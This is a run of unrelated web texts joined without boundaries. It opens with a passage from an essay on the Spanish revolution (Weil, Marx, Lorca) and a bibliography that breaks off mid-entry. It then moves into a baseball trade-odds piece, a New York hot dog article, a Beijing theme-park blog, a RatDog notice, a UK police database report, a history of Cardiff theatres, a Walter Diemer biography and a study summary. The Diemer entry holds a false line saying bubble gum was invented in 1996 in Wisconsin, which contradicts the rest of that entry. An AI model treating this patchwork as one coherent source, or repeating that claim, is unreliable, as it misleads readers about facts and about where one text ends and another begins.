"The absurdity of adopting war as a means of antifascist struggle is thus quite apparent. Not only would it mean fighting against a barbarous oppression by crushing the peoples under the weight of an even more barbarous massacre; it would even mean extending under another form the regime we want to abolish. It is childish to suppose that a state apparatus made powerful by a victorious war would alleviate the oppression to which the enemy state apparatus has subjected its own people; it is more childish still to believe that a victorious state would let a proletarian revolution break out in a defeated nation without immediately drowning it in blood."
This scenario became a grim reality as Nazi Germany was invaded by Allied and Stalinist troops from the West and the East, at the end of WW2.
Analysing the Russian Civil War (1918-20), Weil remarked:
"This war imposed on a revolution that had a program calling for the abolition of the army, the police, and the permanent bureaucracy, a Red army whose officer corps was made up of czarist officers, a police force that lost no time coming down on Communists more harshly than counterrevolutionaries, and a bureaucratic apparatus unequaled in the rest of the world. These apparatuses were all a response to the necessities of the moment; but they were fated to outlast those necessities. Generally speaking, war always reinforces the central power at the expense of the people."
Weil joined the militias under Durruti in the summer of 1936, fighting in the Aragon front. After suffering an accident, she returned to France in September, quite depressed by what she had seen.
Here are some of her reflections, made in October:
"Alas, there we also see forms of compulsion and instances of inhumanity that are directly contrary to the libertarian and humanitarian ideals of the Anarchists. The necessities and the atmosphere of civil war are sweeping away the aspirations that we are seeking to defend by means of civil war. Here we loathe military constraint, police constraint, compulsory labor, and the spreading of lies by the press, the radio, and all the means of communication. We loathe social differentiation, arbitrariness, cruelty. Well, in Spain there is military constraint. In spite of the influx of volunteers, mobilisation has been ordered. The defence council of the Generalitat, in which our FAI comrades hold some of the leading posts, has just decreed that the old military code is to be applied in the militias. There is compulsory labor. The council of the Generalitat, where our comrades hold the economic ministries, has just decreed that workers must put in as much extra unpaid time as might be judged necessary. Another decree stipulates that workers whose rate of production is too slow will be considered seditious and treated as such. This quite clearly means the introduction of the death penalty in industrial production. As for police constraint: the police had lost almost all its power before the nineteenth of July. But to make up for that, during the first three months of civil war, committees of investigation, responsible militants, and too often, irresponsible individuals carried out executions without the slightest semblance of a trial, and consequently without any possibility of syndical or other control. Nor did organized lying disappear after the nineteenth of July."
As said above, Simone Weil’s insights into the end of the emancipatory dream of 1936 were prophetic. They are still relevant today.
The absence of simultaneous global workers’ emancipatory movements in that period is the ultimate cause for the failure of the revolution in Spain. Isolated in ‘revolutionary zones’ or ‘communes’, emancipated individuals and their communities can’t in the end transcend alienation and all the separations of a commodity society. This is because the conditions of domination are universal, and only a global co-ordinated insurrection could preclude their continuation.
Finally, what should we do with the historical memory of those tens of thousands of individuals in Spain, who in a wild festival of emancipation, confronted the ‘problem of the total human being’s self-realisation under the sign of freedom’? They left an unfulfilled promise of happiness for future generations. Their revolution was inevitable once they refused to sacrifice themselves for anything other than their own individual and communal interests, which were those of mankind. Once they abandoned, or were made to abandon, this universal task, they were devoured by a two-headed Leviathan.
"It is above all necessary to avoid once more establishing ‘society’ as an abstraction over against the individual. The individual is the social being. His vital expression — even when it does not appear in the direct form of a communal expression, conceived in association with other men — is therefore an expression and confirmation of social life. Man’s individual and species-life are not two distinct things,…."
Lorca’s tragic view of the individual’s quest for love fulfilment in modern society can have enriching parallels with Marx’s concept of man as species being. Where Lorca has a tragic view of the quest of love, fusing it at times with death itself, Marx’s views of human activity tend to be openly biophilic. These two views may seem opposite, but who could deny that death accompanies all human endeavour, including the quest for love? This may suggest too that the individual as species being, a child of Enlightenment classicism, can survive in the Romantic individualism of the 19C and even in the 20C avant-garde. The idea and need for happiness, particular as well as general, may still contain a ‘radioactive radical nucleus’, as Vaneigem aptly suggests regarding Surrealism. On the need for love, set always in the social context, Marx’s and Lorca’s views probably differ little.
In 1844 Marx advanced a view of death which would have challenged Lorca’s:
"Death appears as the harsh victory of the species over the particular individual, and seemingly contradicts their unity; but the particular individual is only a particular species-being, and as such mortal."
It is doubtful that Lorca’s dramatic vision of death would accept this austere recognition of necessity. Marx’s views were made from the standpoint of socialised humanity’. In Lorca’s dramatic universe, the world is strewn with traps, the harshness of suffering and of death can only be concealed by love. In El public Lorca conceived his characters as one-sided fragments of humanity, confronted by inhuman and magical forces that never allowed for reconciliation. Love, in masks, sweetened the approaching death. Yet the violence suggests that everything could fall apart at any time, even love.
But would Lorca have objected to:
"Man as an objective sensuous being is therefore a suffering being, and because he feels his suffering, he is a passionate being. Passion is man’s essential power vigorously striving to obtain its object."
Or to:
"…love can be exchanged only for love, trust for trust and so on. If you wish to enjoy art you must be an artistically educated person; if you wish to exercise influence on other men you must be the sort of person who has a truly stimulating and encouraging effect on others…. If you love unrequitedly, ie, if your love as love does not call forth love in return, if through the vital expression of yourself as a loving person you fail to become a loved person, then your love is impotent, it is a misfortune."?
Probably not.
Juan McIver, February 2000
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• Bateman, Don. Joaquim [sic] Maurin (1893-1973): Life and Death of a Spanish Revolutionary. Leeds: ILP Square One Publications, 1974.
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• Bookchin, Murray. The Spanish Anarchists: The Heroic Years 1868-1936. Edinburgh: AK Press, 1998.
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• Bourrinet, Philippe. The Italian Communist Left: 1926-45. London: ICC, 1992.
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• Bolloten, Burnett. The Spanish Civil War: Revolution and Counterrevolution. Chapel Hill: North Carolina Press, 1991.
• Bolloten, Burnett. The Grand Camouflage. London: Hoffis & Carter, 1961.
• Brendel, Cajo/Simon, Henri. De l’anti-franquisme à l’après-franquisme : illusions politiques et lutte de classe. Paris: "Echanges et Mouvement", 1979.
• Broué, Pierre/Témime, Emile. The Revolution and the Civil War in Spain. London: Faber & Faber, 1972.
• Brenan, Gerald. The Spanish Labyrinth. Cambridge: Cambridge University Press, 1995.
• Cahiers Léon Trotsky. ‘Souvenirs de 1936’ (2), Grenoble, 1986.
• Carr, Raymond intro. Images of the Spanish Civil War. London: Book Club Associates/Allen & Unwin, 1986.
• Castels, Durán Antonio. El proceso estatizador en la experiencia colectivista catalana (1936-1939). Madrid: Nossa yjara, 1996.
• Chacón, RL. Porqué hice las ‘Chekas’ de Barcelona: Laurencic ante el consejo de guerra. Barcelona: Solidaridad Nacional, 1939. A revealing Francoist pamphlet, using the techniques of show-trial perfected by Stalinism.
• Chazé, H. Chronique de la Révolution espagnole, Union Communiste (1933-1939). Paris: Spartacus, 1979.
• Claudin, Fernando. The Communist Movement: From Comintern to Cominform. Harmondsworth: Penguin Books, 1975.
• CNT/FAI: 1936 The Spanish Revolution. Edinburgh: The Ex/AK Press, 1997.
• Cook, Judith. Apprentices of Freedom. London: Quartet, 1979. In this homage to the memory of the International Brigades, we read about an incident in the Battle of Brunete: "Well, we took the village in the end, but we took it twelve hours too late. There I saw the worst incident of the war. A group of civilians were pushed out of the village towards the fighting, mostly women and children. We wondered what was happening until we saw they were being used as a living shield, they were screaming. It was ghastly to watch it. There were old men, babies, toddlers, and they were shot down by us because we couldn’t stop. Every last one of them." (87) Thus were the defenceless ‘saved’ by the ‘apprentices of freedom’. This contrite tone, concealing the usual sadism and barbarism of ‘democratic’ warriors, was to become pandemic in the Allied propaganda machines during WW2 (that is, when atrocities were reluctantly admitted).
• Costa, Luis |
aren’t that much worse today than they were before trading Price.
Biggest Gains in Championship Odds
Detroit Tigers: +2.0%
Los Angeles Dodgers: +0.8%
Seattle Mariners: +0.6%
New York Yankees: +0.3%
St. Louis Cardinals: +0.1%
And here is why the Tigers acquired David Price. They already were extremely likely to make the playoffs, but putting Price on their roster made them — according to our forecasts — the best team in baseball going forward. A two percent swing might not sound like much, but we’re talking about a two percent improvement in achieving the team’s ultimate goal. Yesterday was a good day for the Tigers.
Biggest Losses in Championship Odds
Washington Nationals: -0.9%
Cleveland Indians: -0.6%
Los Angeles Angels: -0.5%
Toronto Blue Jays: -0.5%
Tampa Bay Rays: -0.4%
The Tigers gain had to come from somewhere, and it certainly wasn’t going to come from the Astros or Phillies. With the Tigers and A’s both getting better, the Nationals take a bit of a hit, since their potential opponents are now a little harder to beat, but really, all of these losses are pretty minimal. And once again, drive home the point that July 31st might be an extremely exciting day, but these deals really aren’t impactful enough to make us reevaluate what we already knew. The changes are on the margins, and they can matter a little bit, but overall, the trades made yesterday matter less than the results on the field last night.
And if you’re not going to overreact to one day’s worth of wins and losses, you shouldn’t overreact to July 31st trades either.If you’ve passed through the city in the past century or so, you might expect that pushcart to be serving what everyone (even a drooling aficionado) likes to call a “dirty-water dog,” a hot frank plucked with tongs from a metal vat full of warm, salty liquid.
The delivery system is simple. The cooking method is rudimentary. And the result, with the way that soft bun sops up spare droplets of broth, is so essential to the New York gestalt that visiting world leaders must take a ceremonial bite for the cameras when strolling our sidewalks.
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Water-heated wieners can be found on countless blocks of the city, and plenty of people are still ordering and devouring them. The other day, Gerri Queren, an airline employee from Queens, was picking up one with sauerkraut and mustard near the southeastern corner of Central Park.
“This is like a staple of New York,” she said. “It’s a little soggier, but it’s the way New York is.”
But the way New York is has been changing. Parents who insist on wholesome, natural franks in Central Park are one of many challenges quietly, slowly chipping away at the street-corner dominance of the dirty-water dog.
Upgraded versions have turned up at sit-down restaurants like Bark Hot Dogs in Park Slope, Brooklyn, and Crif Dogs in the East Village, in Manhattan, and in Williamsburg, Brooklyn, where some of the franks are served Jersey style, deep-fried and swaddled in bacon. Customers might encounter kimchi, habanero sauce and other unconventional toppings, many with a multicultural bent. Sidewalks where a hot dog swaddled in a paper napkin was once the only available protein source are now crowded with vendors hawking biriyani, dumplings, tacos and lobster rolls.
There’s even a movement afoot to bear down with fussier scrutiny on the carts, whose hygienic standards have often belonged, in the minds of hungry and hurrying New Yorkers, to the “don’t ask, don’t tell” category.
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“People want to know that their food is safe and clean and free of bacteria and vermin,” said Daniel R. Garodnick, a city councilman who represents parts of Manhattan, and who has proposed giving food carts the same health-department letter grades given to restaurants.
The suggestion seems to be gaining momentum, having received Mayor Michael R. Bloomberg’s official endorsement last week.
Mr. Garodnick is 39 and concedes that, like many New Yorkers of his vintage, he is no stranger to the pleasure of a salty impulse buy. “I’ve always enjoyed a dirty-water dog from time to time,” he said. “But I would like to know that it’s hopefully not that dirty.”
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None of this means that hot dogs are disappearing from city streets. Boyd Adelman, the president of Sabrett, the company that supplies most of the hot dogs to New York carts, said he was not especially anxious about the threat of haute dogs or other fancy newcomers. Although he would not give any numbers, Mr. Adelman said there had been “no real decline in our sales as a result of new dining options.”
“New people are sampling the alternatives,” he added. “The regulars stand firm.”
What seems to be on the wane, though, is the practice of heating hot dogs in liquid, and one key reason is the evolution of the carts themselves.
“All the carts looked pretty much the same in New York for a long, long time,” said Wayne Sosin, the president of Worksman 800-BUY-CART, which manufactures many of the stainless-steel carts on the city’s streets. The carts might have had a hinged bin for the dirty water, a shelf for squeeze bottles of mustard and an anchor for the umbrella. That was about it.
Gradually, vendors began to catch their own street-corner strain of expansion fever, and strangely enough, it had something to do with permits. With what is known as a nonprocessing permit, they could sell only premade treats like dirty-water dogs, ice cream or pretzels. But if they had a processing permit, they could cook food: kebabs, falafel, fried eggs, you name it. As more vendors came to understand, that variety magnified their potential income.
“As a pure business decision, people want to upgrade what they have because they can gross more,” Mr. Sosin said. Larger, more elaborate carts are on the rise on the streets, he explained, while “just the simple, generic hot dog cart is less and less popular.”
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Of course, once a street vendor has a grill or a griddle and a license to use it, it is only a matter of time before hot dogs are rolled on it, giving them a nice coat of char.
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Skin-crisping methods are hardly unfamiliar to New Yorkers. Griddled versions, with that perfect between-teeth snap, can be found at landmarks like Katz’s and Papaya King. Traditionally, carts were supposed to stick to water.
Lately, though, they have been upping their game. Memmed Chaaibi, who oversees the gastronomy at a cart parked on the corner of Third Avenue and 86th Street, on the Upper East Side, has the little metal vat where the water is supposed to go, but said he doesn’t use it anymore. Instead, Mr. Chaaibi prepares his dogs the same way he cooks his shish kebabs: on the griddle.
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Mr. Chaaibi described the two-dollar Catch-22 when it comes to dirty water: The health department mandates that hot dogs must be kept floating in 140-degree liquid, but when a hot dog stays submerged for too long, its flavor and texture can start to erode.
“The hot dog should not pass 15 or 20 minutes in the water,” Mr. Chaaibi said. “If it goes past this, no more hot dog.”
At the Fahima Halal cart near the corner of 45th Street and Avenue of the Americas, in Midtown Manhattan, Mohammed M. Rahman nearly winced when asked whether he cooked his hot dogs in water. “I do the grill,” he said with pride. “My hot dog and other people’s hot dogs are 100 percent different. My hot dog is halal. And when I cook my hot dogs, I use butter. They’re more tasty.”
This is not to say that a griddled-hot-dog entrepreneur cannot make a few extra dollars pushing boiled dogs.
“I have both; I have a grill, and I have the water,” said Saleh Gobran, a seller at the corner of Broadway and 43rd Street. “Customer wants it grilled, I grill it for him. The customer every time is right.” And if that customer prefers the water-heated variety, Mr. Gobran has a surprise in store, a technique that might be seen in a three-star French kitchen.
“Look,” he said, popping open the water vat and lacing it with a few pro-bono dashes of Trappey’s Louisiana Hot Sauce. “To avoid the lost flavor, I put in some lemon slices and hot sauce. Makes it tasty.”
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Bruce Kraig, the author of “Hot Dog: A Global History,” surmised that wooden pushcarts might have switched to water instead of an open flame toward the end of the 19th century and in the early years of the 20th century, possibly to avoid going up in smoke.
“They had fires all the time,” Mr. Kraig said. “They went to hot water because it’s safer, and then people came to like that.” Stainless-steel carts rarely burn down, of course, and now, over time, dirty-water dogs could “decline because of the rise of griddling,” Mr. Kraig said.
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If so, there are eaters, and cooks, who would miss them. “If they started disappearing, I would be annoyed, because I like a boiled-water dog,” said Eddie Huang, the New York chef behind Baohaus. “Certain things you just like cheap.”
So does Brian Shebairo, even though he’s a competitor. “I love them, I do,” said Mr. Shebairo, an owner of Crif Dogs. “As much as they probably are filthy and disgusting, I ate one two weeks ago. I came out of a concert a few months ago and probably ate three.”
Change is a metropolitan constant, but the prospect of a citywide low tide for dirty water seems, to some, like a threat to the very identity of New York. “I’m a Brooklyn kid,” said Curtis Sliwa, the activist and radio host. “I grew up on dirty-water hot dogs. Now people look at you like, ‘Oh, my God, what are you putting into your body?’ ”
Mr. Sliwa doesn’t pull any rhetorical punches about what he sees as the rise of “trendoid, new-jack hot dogs.”
“This really is the class warfare of New York,” he said. “Beer. Hot dogs. What’s next? It seems like every arena that used to be traditional, blue-collar, working class, now it’s like: ‘Oh no, we’ve got to have our own. God forbid we eat what common folks eat! And we have to pay a premium price to prove to you it’s the best.’ ”
Any change in the demographic of dogs will probably lead to the most New York concept of all: tense coexistence.
“I just consider those gourmet hot dogs a different experience,” said Alexandra Guarnaschelli, the chef at Butter and the Darby, who says that she, too, grew up on dirty-water dogs.
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“Just because a Porsche and a Honda are both cars doesn’t mean they offer the same things,” Ms. Guarnaschelli said. “If we gather all the hot dogs around a campfire, metaphorically speaking, and strum a little ‘Kumbaya’ on the guitar, we can achieve world peace among all hot dogs. I do think it’s possible.”Visting Beijing Wonderland Castle by Subway
A couple of years ago I read about a derelict theme park on the edge of Beijing, sadly this was just after I'd returned from visiting Beijing. Even though I'd passed in by train to the Great Wall on a previous trip I never figured out how to get there at the time. Roll on two years and I returned to Beijing having done more preperation (and a new subway line having been built to take me there) and I finally visited what remains.
The Castle
A few years ago there was an almost complete theme park, sadly most of that has been demolished and the Badaling Outlets 八达岭奥莱 shopping mall built over the top, however the castle still remains and has even had a lick of paint to match the mall so maybe it might be here for a while longer. The surrounding scenary is also epic...
Access to the interior may be possible but it appeared to be inhabited by builders and some guard dogs so I retreated fairly quickly after the dogs saw me, however I've seen other reports that suggest builders don't mind innocent visitors.
Getting There
Not many others were planning to join my adventure:
The Castle in essentially located behind the rear car park of the Badaling Outlets 八达岭奥莱 with not even a fence blocking access. However if taking public transport (and not really speaking Chinese) there's a decent walk involved to get there. Take the subway to the far end of the Changping to Changping Xishankou Station (around 90 minutes from central Beijing). Follow the road towards and past the univerity campuses and police college and turn left down a Nanxin Road opposite The Old Beijing Mini Landscape Park, the mall is located where it meets the G6 Expressway. See Bing Maps
Other remains litter the surrounding area:RatDog to Reunite at TRI Studios
Bob Weir will reunite RatDog for a performance at his TRI Studios on January 25. A free broadcast of the performance will be available through TRI’s website at 8 PM ET. RatDog has not performed since January of 2010, though most of the group backed Weir during his set with the Marin Symphony earlier this year. In a recent Relix cover story, Weir mentioned his desire to bring past and present members of RatDog together for a revue-style performance at TRI Studios.
“One of the shows I want to do [in the studio] is RatDog,” Weir explained. “I want to get all or at least most of the guys who are still alive who played with RatDog and do a retrospective. In doing so, we’ll probably make a DVD and a record. I’ve got unfinished business with that outfit.”
Weir will also continue to tour with Furthur and perform as a solo act in 2012.The Police National Database, which will be launched by ministers next week, will hold the records up to six million apparently innocent people, including every victim of sexual assault and domestic violence.
All 43 police forces in England and Wales and other law enforcement agencies will be able to access the database, which is intended to help detectives track criminals and their associates.
Civil liberties groups and senior MPs yesterday expressed concern at the scale of the database and the number of people who will be able to access it.
Jennie Cronin, a director at the National Police Improvement Agency (NPIA), the body in charge of the database, estimated yesterday that the records of between 10 and 15 million people would be held.
According to official figures a total of 9.2 million people in the UK have criminal records, which means the new database will hold information about up to six million people who have not committed an offence.
Advocates of the database claim that it is the nature of police intelligence that the records of people without convictions would be held. More than 12,000 approved police officers and staff will be able to access the database when it is launched next week.
David Davis, the former Conservative shadow home secretary, said: “Ten to 15 million people seems like an awful lot, but the more concerning thing is that this is extremely dangerous information and we need to be certain that any access to this database is carefully monitored.
“Historically police databases have sometimes been made available to people outside of law enforcement agencies. This cannot be afforded for the PND to work properly.”
Isabella Sankey, the director of policy for the human rights group Liberty, questioned why it was necessary to include victims of crime on the database.
She said: “We regularly see inappropriate and inaccurate disclosures blighting lives and this may only be made worse by centralising sensitive information about vulnerable victims.
“The amount and type of information that is to be uploaded on this database must be reviewed to ensure the police can see the wood for the trees.
“Sharing relevant information between police forces is essential for public safety but large, unwieldy databases can never replace the professional judgment of officers.”
The PND was set up following recommendations from a report into the Soham murders in 2002, when Ian Huntley murdered Holly Wells and Jessica Chapman in 2002.
His name had featured in intelligence eight times between 1995 and 1999 in connection with sexual offences, but because they were unproven the allegations were only recorded on a local police database in Humberside.
A report by Lord Bichard recommended that police intelligence be centralised.
Ms Cronin’s comments came in an article she wrote for Police Review magazine. She said: “Each force has individual crime and intelligence databases and systems containing millions of records, none of which 'talk' to each other or join up.
“We had to bring all that information together. We estimate that once data load is complete we will have information relating to about 10 to 15 million individuals.
“These are all suspects or those who have criminal connections logged in existing force intelligence databases. So for example, if a force has intelligence that an individual is supplying vehicles to a criminal gang, or hanging around with drug dealers, or is suspected of domestic violence, that would be included.”
She said that victims of sexual assault and domestic violence would have their information added to the database to make it easier for forces to identify repeat victims.
Ms Cronin added: “To share intelligence carries some risks, but choosing not to share poses a far greater risk to public protection and it is not one the service should be prepared to live with any longer.”
A spokesman for the NPIA said that some of the six million people without a criminal record may have committed offences which are too minor to be recorded on the current system.Cardiff isn’t short of entertainment venues, for music there’s the International Arena, for comedy try St David’s Hall and for theatrical performances we have the New Theatre and Wales Millennium Centre. Most of these venues, however, were built in the last 30 years - even the New Theatre on Park Place only dates back to 1906! Which begs the question, what did people living in the 19th and early-20th centuries do for entertainment? Well, quite simply, they went to the theatre - although back in the mid-19th century they would have been spoilt for choice.
In this first part we will focus on the the lost theatres and cinemas in the east of the city centre - more specifically around the Queen Street area.
Theatre Royal, Crockherbtown
Cardiff’s first theatre was actually built outside the town walls. Described as “a handsome new building” the Theatre Royal opened in 1827 in Crockherbtown a few hundred yards outside the east gate of the city walls. Due to the location it was often referred to as “Crockherbtown Theatre”, a newspaper article prior to opening proclaimed that:
“Old Cardiff almost lost it’s head with delight when it viewed the swelling outlines of Crockherbtown Theatre”
Opening night was 5 September 1827; customers were treated to a performance of ‘The Honeymoon’ followed by what was described as a “farce with brilliant assemblance”. Ticket prices were 3/- (3 shillings) for a box seat, 2/- for a seat in the pit or 1/- to sit on the hard benches of the gallery, colloquially known as “the lions den” on account of it’s cage-like railings and raucous atmosphere. For regular theatre-goers there was a ‘Silver Ticket’ scheme, a one-off payment granting them admission to any performance they wished to attend (an early version of a cinema subscription card).
It is believed that the theatre was run by gentlemen who weren’t too concerned about it being a money-making venture (or if not they were to be very disappointed!). Aside from financial problems, the pit of the theatre suffered regularly from flooding from the nearby farmlands, until the highly beneficial excavation of the nearby Dock Feeder in 1836 eased the flooding. Stories at the time claim that some performers brought fishing lines to the venue, casting them into the Dock Feeder from the window of their changing rooms while they were waiting to go on stage.
Regular performances were held at the theatre for 50 years, until the early hours of 12 December 1877 when a passer-by reported seeing smoke rising from behind the theatre. The alarm was raised at 4:30am, but the fire brigade were already tackling a fire in Canton so they did not arrive for another 40 minutes. The flames were eventually extinguished at 8:30am, but by this point the venue had perished forever, making ‘Scamps of London’ on December 11 the theatre’s final performance.
Today the only evidence that remains is this blue plaque on the Queen Street facade of the Parc Hotel.
Empire Theatre, Queen Street
First opened as Levino’s Music Hall in 1887, it was taken over by Oswald Stoll and re-branded the Empire Theatre in 1889. Much like the nearby Theatre Royal it was ravaged by fire in October 1899 and had to be demolished. Renowned theatre architect Frank Matcham was commissioned to design a replacement, and in September 1900 the new 1,726-seat Empire Palace Theatre opened its doors.
In a bid to keep itself fresh, the building was repeatedly extended, adapted and underwent a number of name changes. Major building work was undertaken in 1915 to increase the seating capacity from 1,726 to 2,820. It was converted to cinema use in 1931 following a takeover by the Gaumont Corporation and in August 1933 a ‘Compton 3Manual/10Ranks’ theatre organ was installed. That same year it was renamed the Cine-Variety Theatre, but by 1954 it became known as the Gaumont Cardiff.
The cinema was closed by owners Rank Organization in December 1961 due to falling visitor numbers in all three of its Cardiff theatres. They also owned the Capitol Theatre and one other. Performances were moved to the Capitol Theatre and the Empire was demolished in 1962.
Olympia Cardiff, Queen Street
Entrepreneur Solomon Andrews, one of the driving forces behind the Victorian regeneration of Cardiff, is most well-known for the Cardiff Market building and the (now removed) tram network around the city. One of his lesser known ventures were the Andrews Buildings on Queen Street, built in early 1899 it housed office premises on the upper levels and leisure and retail units on the ground floor. The building was also home to Andrews Hall, a concert hall which was later converted for use, in the more-profitable, theatre business.
The theatre was leased to the Olympia group in 1912 who converted it for cinema use and renamed it the Olympia Cardiff. By 1936 the lease had changed hands to Associated British Cinemas and after undergoing considerable modernisation was renamed ABC Cardiff. In 1972 the Andrews family severed all ties with the theatre and sold full control of the building to ABC, 4 years later its capacity was tripled and it was renamed ABC Queen Street. Ownership of the cinema changed hands several times in the 20 years that followed; in 1986 it was renamed the Cannon, it became the MGM in 1991 before returning to the ABC name in 1996.
In June 1999, faced with the prospect of having to compete with the city’s two new multiplexes, the cinema closed its doors for the final time. The auditorium was demolished in 2003 as part of a major regeneration project on the north side of Queen Street. The building facade remains today and is home to clothing chain River Island.
The Olympia in 1954, and how it looks today as a clothes store.
RUMOUR: It is believed that the hall was used in early part of the 20th century for roller skating. It’s rumoured that shortly before demolition in 2003 a giant painting of a female skater was uncovered on the rear wall of the stage. If you have any further information on this, or perhaps a picture, please get in touch.
Cardiff Odeon, Queen Street
Opened in 1911 as the New Imperial Cinema, it was described by locals as:
“the coolest in winter and the coziest in spring”
It was taken over by Odeon Theatres in 1935 and reopened a year later following extensive reconstruction work to increase its capacity to 1,135 in the stalls and 528 in the circle. The cinema remained largely unaltered until 1980 when the stalls and circle area were merged.
The cinema, which boasted the largest cinema screen in Cardiff at the time, continued to operate despite the opening of the nearby Odeon multiplex - in fact the Odeon corporation were so committed to the cinema that they spent £300,000 on a face lift in 1994. The face lift didn’t do enough to boost its fortunes though and in May 2000 it had to accept defeat to the multiplex and close its doors for the last time. Its closure occurred just 11 months after the neighbouring ABC had also closed their doors amidst increased competition.
View photos of the Queen Street Odeon on stagedoor’s photostream on Flickr
Capitol Theatre, Queen Street
The Capitol Theatre opened to an invitation-only crowd on Christmas Eve 1921. It boasted an impressive 3,000 capacity which could have been considerably more if the developers had not run into financial difficulties during construction. It had an underground ballroom (later the Victor Sylvester Dancing School) and three restaurants, one of which had its own orchestra.
“The Cap”, as it was affectionately known, having been converted for cinema use, continued to show silent movies for a long period after all other cinemas in the city had opted to start showing “talkies”. Live music was also very popular, with the venue regularly hosting acts such as The Beatles, The Rolling Stones & Tom Jones. American rock band Lynard Skynard’s November performance at the venue during their 1975 European Tour was recorded for a live album; the album entitled ’Live At The Cardiff Capitol Theater’ was released in March 2009.
It was owned by a private company, Tilney’s, and was run by them until it was leased to Paramount in 1931 and then the Odeon Group in 1941. The Rank Organization purchased the building in April 1964, but by 1976 they had signalled their intention to close the theatre and turn it into a bingo hall. Rank’s plan would have transformed the building into Europe’s largest bingo hall, though thankfully this was rejected by Cardiff Council due to massive public outrage. Within two years though the cinema had closed its doors, making the X-rated double header of ’Yellow Emmanuelle’ and ’The Street Killers’ on 21 January 1978 the cinema’s final shows.
The Capitol was demolished in February 1983 (along with the neighbouring Dutch Cafe and Cory Memorial Hall) to make way for the aptly named Capitol Centre, a multi-purpose leisure & retail complex which included a brand new multiplex cinema.
Capitol Odeon, Station Terrace
The city’s first multiplex opened in August 1991 as part of the Capitol Centre, with 5 screens able to seat a total of more than 1,200 people (capacities were 435, 261, 223, 186 and 161).
1997 would signal the beginning of the end for the Odeon, takings began to decrease in October following the opening of the 12-screen UCI cinemas in Cardiff Bay. In July 2001 the final nail was knocked into the coffin when the 15-screen UGC cinema opened on nearby Mary Ann Street. Within a month the Odeon had been forced to accepted defeat, it closed the doors for the last time on 21 August - a mere 10 years after first opening.
Despite a number of major regeneration projects in Cardiff city centre in the 10 years since its closure, this cinema remains disused and its interior apparently perfectly preserved.
Best of the rest
The first purpose-built cinema in Cardiff was the Queen’s Cinema on Queen Street which opened in July 1911 (headline photo). Its ownership changed hands to Savoy Cinemas in 1925 before ABC purchased Savoy and took over the running of the cinema. At the time ABC already operated several other more popular cinemas in the city, most notably the nearby Olympia. ABC’s ownership led to a steady decline, in the 1930s it was showing the same films as the Pavilion and by the 1950s it was primarily showing re-runs. ABC closed down the Queen’s in October 1955 and within 3 years it had been demolished to make way for retail units (today housing Game and Specsavers).
Also on Queen Street, a couple of doors from the Empire stood the Electric Theatre. Originally opened in 1909, the cinema had a frontage on to Queen Street which led back to a “temporary” structure behind (the building was only given planning permission for 5 years). The theatre had closed by 1921 and the site was occupied by a car salesroom, it was later demolished to make way for Dominion’s Arcade.
Further reading and references:
Ribbon of Dreams: Remembering Cardiff’s Cinemas - Gary Wharton 1998
http://www.walesonline.co.uk/news/columnists/2011/06/09/brian-lee-theatres-of-bygone-days-where-music-stars-shone-91466-28843698/
http://www.glamro.gov.uk/check/Building%20of%20a%20Capital%202/A_Leisure.html
The Cinema Treasures website has proved an invaluable resource for this article and it’s well worth a visit if you would like to read any more about these, or in fact any other Theatre.
http://www.cinematreasures.org/
A number of photos linked have come from the Flickr Photostream of the user 'Stagedoor’ aka Ian Gundy
http://www.flickr.com/photos/stagedoor/Walter E. Diemer (January 8, 1904 – January 8, 1998) was an accountant and inventor of bubble gum.
Born and raised in Philadelphia, Pennsylvania, Diemer was working as an accountant at Fleer in 1926 when the company president sought to cut costs by making their own gum base. The company's founder, Frank Henry Fleer, had previously made a batch of bubble gum in 1906 which he called "Blibber Blubber", but it was too sticky and easily broke. Ultimately, the "Bubble Gum" used nowadays was eventually invented in 1996, in Wisconsin and has remained his greatest achievement.
Although an accountant by trade, Diemer liked to experiment with gum recipes in his spare time. In doing so, he accidentally stumbled upon a unique recipe. The gum was pink because it was the only food coloring in the factory, which is the reason most bubble gum today is pink.[1]
Compared to standard chewing gum, the gum was less sticky, would not stick to the face, and yet stretched more easily. Diemer saw the possibilities, and using a salt water taffy wrapping machine, wrapped one hundred pieces of his creation to test market in a local mom-and-pop candy store. Priced at one penny a piece, the gum sold out in one day.
Fleer began marketing the new gum as "Dubble Bubble" and Diemer himself taught salesmen how to blow bubbles as a selling point for the gum, helping them to demonstrate how Dubble Bubble differed from all other chewing gums. Sold at the price a penny a piece, sales of Dubble Bubble surpassed US$1.5 million in the first year. However, Diemer did not patent his invention and competition soon arose as bubble gum became a popular and inexpensive treat during the Great Depression.
According to his second wife, Florence, Walter Diemer never received royalties for his invention but he did not mind. She also said he oversaw construction of bubble gum plants in Philadelphia and Barcelona, Spain, and traveled around the world marketing the gum. He stayed with Fleer for decades, eventually reaching the position of senior vice president as well as a member of the Board of Directors of Fleer Corporation. He retired in 1970, and remained on the board for 15 more years thereafter. Following the death of his first wife, Adelaide, in 1990, Diemer rode around his Pennsylvania retirement village in a big tricycle, distributing bubble gum to children.[2]
Diemer died of congestive heart failure in Lancaster, Pennsylvania, on his 94th birthday.[3] Saturday Night Live joked that his body was found stuck under a movie theatre seat.[4]Scientists have demonstrated that organisms with greater complexity are more likely to evolve in complex environments, according to research published this week in PLOS Computational Biology. The researchers, based at École Polytechnique Fédérale de Lausanne and University of Vermont, created a programme that simulated the evolution of virtual creatures in a variety of landscapes.
Each virtual organism was made using a particular form of genetic encoding to create three-dimensional models and then simulated in a physically-realistic virtual world. Creatures that evolved in flat landscapes had a simple shape, but could not adequately navigate more complex environments. Later environments were designed with elevated "ice blocks". These obstacles were constructed so that each organism had to reach inside the gaps between the blocks to move forwards.
Overall, the researchers found that the investigated environments actively induced selection on the body plans and nervous systems of the simulated creatures. More complex landscapes led to more complex organisms than simpler environments due to the cost inherent in morphological complexity: evolution only produces complex body shapes in environments that demand them.
Study author Joshua Auerbach comments:
"Our work supports the idea that the morphological complexity of organisms is influenced by the complexity of the environments in which they evolve. While our work does not prove anything about biological complexity, it does provide a new methodology for investigating questions about the evolution of complexity in silico."
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Financial disclosure: This work was supported by National Science Foundation Grant PECASE-0953837 and DARPA M3 grant W911NF-1-11-0076. The authors also acknowledge the Vermont Advanced Computing Core which is supported by NASA (NNX 06AC88G) at the University of Vermont for providing High Performance Computing resources that have contributed to the research results reported within this paper. The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript.
Competing interests: The authors have declared that no competing interests exist.
Citation: Auerbach JE, Bongard JC (2014) Environmental Influence on the Evolution of Morphological Complexity in Machines. PLoS Comput Biol 10(1): e1003399. doi:10.1371/journal.pcbi.1003399
